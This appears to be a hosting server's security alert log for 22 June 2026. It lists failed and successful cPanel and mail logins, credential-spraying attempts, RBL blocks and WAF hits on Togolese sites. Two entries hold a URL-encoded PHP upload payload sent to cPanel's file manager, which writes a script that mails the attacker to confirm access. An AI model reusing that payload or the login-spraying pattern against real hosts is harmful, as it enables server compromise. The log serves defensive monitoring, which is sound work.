# incident

plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.123.92.130
country_id: 6252001
description:
2026-06-22 14:34:08 dovecot_login authenticator failed for H=([98.178.72.4]) [50.123.92.130]:43181: 535 Incorrect authentication data (set_id=collectetvabackend@otr.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.57
country_id: 1643084
description:
[2026-06-22 14:35:49 +0000] info [cpaneld] 103.65.237.57 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.132
country_id: 3469034
description:
Jun 22 14:35:55 ns5 auth[2383225]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.132 has been locked due to Imunify RBL


plugin: ossec
rule: 9703
name: Dovecot is Starting Up.
description:
Jun 22 14:36:35 ns5 dovecot[2554018]: master: Dovecot v2.4.2 (0962ed2104) starting up for lmtp, imap, pop3, sieve (core dumps disabled)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.151.246.121
country_id: 1880251
description:
54.151.246.121 - - [22/Jun/2026:14:37:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7117718&pdata=https%253A%252F%252Fcpanel.otf-boutique.free.netmaster.tg%252F%253Flocale%253Did&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782139071 HTTP/2.0" 302 0 cpanel.otf-boutique.free.netmaster.tg "https://cpanel.otf-boutique.free.netmaster.tg/?locale=id" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.151.246.121


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.112.39
country_id: 1880251
description:
47.128.112.39 - - [22/Jun/2026:14:40:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7169897&pdata=https%253A%252F%252Fcaissederetraites.tg%252Fdocs%252F63.pdf&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782139225 HTTP/2.0" 302 0 caissederetraites.tg "https://caissederetraites.tg/docs/63.pdf" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.112.39


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.134.226.169
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/board_2025-300x188.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/board_2025-768x480.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/board_2025.webp 800w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.115.124.109
country_id: 1814991
description:
27.115.124.109 - - [22/Jun/2026:14:45:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7183513&pdata=https%253A%252F%252Fsodigaz.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782139522 HTTP/2.0" 302 0 sodigaz.tg "https://sodigaz.tg/" "Mozilla/5.0 (Linux; Android 11; CPH2185) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.115.124.109


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.13.179
country_id: 6252001
description:
[2026-06-22 14:45:29 +0000] info [cpaneld] 195.63.13.179 - qfaclpeg "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Shell+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.11.74
country_id: 6252001
description:
[2026-06-22 14:45:28 +0000] info [cpaneld] 195.63.11.74 - doufelg "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Shell+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:14:47:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6909544&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782139625 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:14:47:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986350&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782139633 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 180.252.89.129
country_id: 1643084
description:
[2026-06-22 14:46:54 +0000] info [cpaneld] 180.252.89.129 NEW tgkkwsvr:RPOv8mCsFIcpeCML address=180.252.89.129,app=cpaneld,creator=tgkkwsvr,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.57
country_id: 1643084
description:
[2026-06-22 14:49:10 +0000] info [cpaneld] 103.65.237.57 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.39.212.109
country_id: 2510769
description:
Jun 22 14:49:18 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.39.212.109 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.236.157.212
country_id: 690791
description:
Jun 22 14:49:48 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.236.157.212 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 81.88.147.251
country_id: 1522867
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1218230083 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.80.245.107
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/12/CHA3548.jpg 2500w, http:/togodailynews.tg/wp-content/uploads/2023/12/CHA3548-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2023/12/CHA3548-1024x683.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2023/12/CHA3548-768x512.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2023/12/CHA3548-1536x1024.jpg 1536w, http:/togodailynews.tg/wp-content/uploads/2023/12/CHA3548-2048x1366.jpg 2048w, http:/togodailynews.tg/wp-content/uploads/2023/12/CHA3548-272x182.jpg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.213.83.197
country_id: 1643084
description:
185.213.83.197 - - [22/Jun/2026:14:54:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6843801&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782140040 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.213.83.197


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.221.162.139
country_id: 6252001
description:
[2026-06-22 14:54:47 +0000] info [cpaneld] 97.221.162.139 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.14.20.58
country_id: 6252001
description:
[2026-06-22 14:54:50 +0000] info [cpaneld] 71.14.20.58 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [22/Jun/2026:14:58:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10263958&pdata=https%253A%252F%252F24heureinfo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782140302 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [22/Jun/2026:14:58:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869159&pdata=https%253A%252F%252F24heureinfo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782140306 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36 Edge/12.246" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [22/Jun/2026:14:58:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7236461&pdata=http%253A%252F%252F24heureinfo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782140301 HTTP/1.1" 302 0 24heureinfo.tg "http://24heureinfo.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-22 14:58:01 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:34660: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [22/Jun/2026:14:59:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9815240&pdata=https%253A%252F%252F24heureinfo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782140351 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.174.169.199
country_id: 6252001
description:
[2026-06-22 15:00:04 +0000] info [cpaneld] 107.174.169.199 NEW wcnyaruu:jVFqw2nLRRhtGMlb address=107.174.169.199,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.57.176.19
country_id: 1269750
description:
Jun 22 15:01:24 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.57.176.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.57.176.19
country_id: 1269750
description:
Jun 22 15:01:32 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.57.176.19 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:15:02:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10445415&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782140559 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:15:02:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7052436&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782140561 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.145
country_id: 3469034
description:
Jun 22 15:04:25 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.145 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.145
country_id: 3469034
description:
Jun 22 15:04:33 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.145 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 114.10.44.157
country_id: 1643084
description:
114.10.44.157 - - [22/Jun/2026:15:07:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9739114&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782140844 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.8 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:114.10.44.157


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.94.255.160
country_id: 1282988
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/12/MG_2183-700x300.jpg 700w, http:/togodailynews.tg/wp-content/uploads/2022/12/MG_2183-700x300-300x129.jpg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.166.113
country_id: 1880251
description:
104.28.166.113 - - [22/Jun/2026:15:08:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7247208&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782140919 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 9; CPH2015) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.136 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.166.113


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-22 15:14:02 +0000] info [cpaneld] 196.171.46.177 - togoinrdceh "GET / HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [196.171.28.18] != Current IP Address [196.171.46.177]


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-22 15:14:07 +0000] info [cpaneld] 196.171.46.177 NEW togoinrdceh:1rSrKpOj5eYzghAK address=196.171.46.177,app=cpaneld,creator=togoinrdceh,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.4.182
country_id: 690791
description:
Jun 22 15:15:16 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.4.182 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.163.16
country_id: 1880251
description:
104.28.163.16 - - [22/Jun/2026:15:15:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13015451&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782141305 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 11; CPH2269) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.163.16


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.113.101.3
country_id: 6252001
description:
[2026-06-22 15:15:08 +0000] info [cpaneld] 68.113.101.3 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.18.49.234
country_id: 6252001
description:
[2026-06-22 15:15:43 +0000] info [cpaneld] 174.18.49.234 - dav "GET /login/?login_only=1&user=dav&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dav (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.153.123.173
country_id: 6252001
description:
[2026-06-22 15:15:34 +0000] info [cpaneld] 76.153.123.173 - davete "GET /login/?login_only=1&user=davete&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davete (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.182.166.51
country_id: 6252001
description:
[2026-06-22 15:15:48 +0000] info [cpaneld] 73.182.166.51 - da "GET /login/?login_only=1&user=da&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user da (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:15:17:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10067354&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782141459 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:15:17:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9855385&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782141462 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.255.70.29
country_id: 458258
description:
Jun 22 15:22:19 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.255.70.29 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.60.165.141
country_id: 6252001
description:
[2026-06-22 15:23:19 +0000] info [cpaneld] 24.60.165.141 - ariana "GET /login/?login_only=1&user=ariana&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ariana (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.255.70.29
country_id: 458258
description:
Jun 22 15:22:32 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.255.70.29 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.231.129.28
country_id: 6252001
description:
[2026-06-22 15:23:11 +0000] info [cpaneld] 96.231.129.28 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.125.97.41
country_id: 6252001
description:
[2026-06-22 15:23:34 +0000] info [cpaneld] 76.125.97.41 - arian "GET /login/?login_only=1&user=arian&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user arian (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.69.134.184
country_id: 6252001
description:
[2026-06-22 15:23:49 +0000] info [cpaneld] 73.69.134.184 - ari "GET /login/?login_only=1&user=ari&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ari (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.13.103.189
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/reboisement-un-appel-national-a-lengagement-citoyen-pour-batir-le-togo-de-demain/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.13.103.189
country_id: 3469034
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/reboisement-un-appel-national-a-lengagement-citoyen-pour-batir-le-togo-de-demain/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 68.161.129.251
country_id: 6252001
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/wp-content/uploads/2019/09/COMMUNIQUE-CCR-AGRI.pdf HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.119.155.2
country_id: 1831722
description:
103.119.155.2 - - [22/Jun/2026:15:31:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7182233&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782142263 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.119.155.2


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:15:32:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6724758&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782142373 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:15:32:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6724246&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782142373 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.99
country_id: 3469034
description:
Jun 22 15:33:14 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.99 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 140.213.0.106
country_id: 1643084
description:
140.213.0.106 - - [22/Jun/2026:15:33:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6722504&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782142433 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:140.213.0.106


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
